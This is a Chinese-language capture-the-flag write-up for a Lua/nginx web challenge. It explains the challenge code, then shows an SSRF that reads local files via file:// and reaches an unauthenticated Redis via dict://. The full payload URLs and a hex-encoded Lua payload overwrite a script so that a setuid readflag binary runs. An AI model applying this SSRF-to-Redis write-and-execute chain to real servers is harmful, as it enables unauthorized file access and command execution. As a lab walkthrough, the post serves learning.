这道题目还是挺有意思的,不是传统的php之类的题目,而是一个lua的题目,不过代码量很少,很容易就可以看懂

这是基本的一个目录结构
该有的配置文件什么也都写在这里,只要懂一点的基本全部能理解,我们来分析一下。
从index.html开始看

    <script>
        function visitUrl() {
            var url = document.getElementById('urlInput').value;
            var iframe = document.getElementById('urlFrame');
            iframe.src = '/visit?url=' + encodeURIComponent(url);
        }
    </script>可以看到,当你点击这个visit的时候,带着框里面的参数跳转到/visit路由这边。
而且可以从nginx.conf文件中得知,/visit 对应的便是main.lua文件
而至于main.lua的路径为什么是这个,则是在Dockerfile中有对应的操作。
那我们接下来就可以看到main.lua 中的代码了
local function read_file(filename)
    local file = io.open(filename, "r")
    if not file then
        print("Error: Could not open file " .. filename)
        return nil
    end
    local content = file:read("*a")
    file:close()
    return content
end
local function execute_lua_code(script_content)
    local lua_code = script_content:match("##LUA_START##(.-)##LUA_END##")
    if lua_code then
        local chunk, err = load(lua_code)
        if chunk then
            local success, result = pcall(chunk)
            if not success then
                print("Error executing Lua code: ", result)
            end
        else
            print("Error loading Lua code: ", err)
        end
    else
        print("Error: No valid Lua code block found.")
    end
end
local function main()
    local filename = "/scripts/visit.script"
    local script_content = read_file(filename)
    if script_content then
        execute_lua_code(script_content)
    end
end
main()
整体不多而且很好懂,总的来说,其实这个main.lua不实现任何功能,只是读取/scripts/visit.script,
然后在里面使用正则表达式匹配如下式子
##LUA_START##(.-)##LUA_END##就是匹配##LUA_START##为开头,##LUA_END##为结尾的所有内容,这个正则表达式很简单,还是能做到一看就看懂的
其实看不懂也没关系,我们可以打开这个文件看看就大概也能猜到了。


这里的代码没什么好看的,就是访问一个页面而已。1
不过这里其实以及可以看到有一点小思路了,因为这里它没有限制URL的种类,所以是可以使用其他的协议的,比如file协议,我试过可以读取大部分文件了,比如什么/etc/passwd之类的?url=file://localhost/etc/passwd,但是没有什么吊用,因为即使flag在根目录你也读不出来!
为什么呢?可以查看Dockerfile寻找原因

这里居然把flag限制成了400权限,也就是说只有文件所属者只可读,所以就导致web服务是没办法读取flag的,file协议当然就没用了。
但是我们可以注意到,它给readflag文件运行了 chomod +xs 这意味着,readflag 在运行的时候,会以文件所有者的权限运行,而不是其他权限,也就意味着,我们只需要运行readflag就可以读取到flag了。
但是我们到这一步并没有任何手段可以运行任何应用程序,这时候可以注意到,程序是使用了redis作为页面的缓存,题目名字也在提示和缓存有关,那显然是要利用redis了,那么经过尝试我们是可以成功使用dict协议直接连接到redis,也没有账号密码什么的。
dict://127.0.0.1:6379/
所以我们的思路就是使用redis的漏洞覆盖掉/scripts/visit.script 里面的内容,让里面的内容变成运行readflag,并且返回结果给我们。
接下来就是常规的打redis的操作了,只不过到后面才有不同,所以前面的就不多赘述了,这里的所有目录都是可以从Dockerfile里面得知的。
首先更改redis工作目录
dict://127.0.0.1:6379/config%20set%20dir%20/scripts然后更改redis数据库名
dict://127.0.0.1:6379/config%20set%20dbfilename%20visit.script内容参数是
##LUA_START##
ngx.say(io.popen('./readflag'):read('*a'));
##LUA_END##但是由于存在##会被理解成为注释导致代码无法正常写入,所以需要编码成十六进制,这一点卡了我很久。

dict://127.0.0.1:6379/SET%20ttt%20"\x23\x23\x4c\x55\x41\x5f\x53\x54\x41\x52\x54\x23\x23\x0d\x0a\x6e\x67\x78\x2e\x73\x61\x79\x28\x69\x6f\x2e\x70\x6f\x70\x65\x6e\x28\x27\x2e\x2f\x72\x65\x61\x64\x66\x6c\x61\x67\x27\x29\x3a\x72\x65\x61\x64\x28\x27\x2a\x61\x27\x29\x29\x3b\x0d\x0a\x23\x23\x4c\x55\x41\x5f\x45\x4e\x44\x23\x23\x0d\x0a"然后保存就行
dict://127.0.0.1:6379/save最后直接随便visit一个目标,让main.lua运行脚本就可以得到flag


发表评论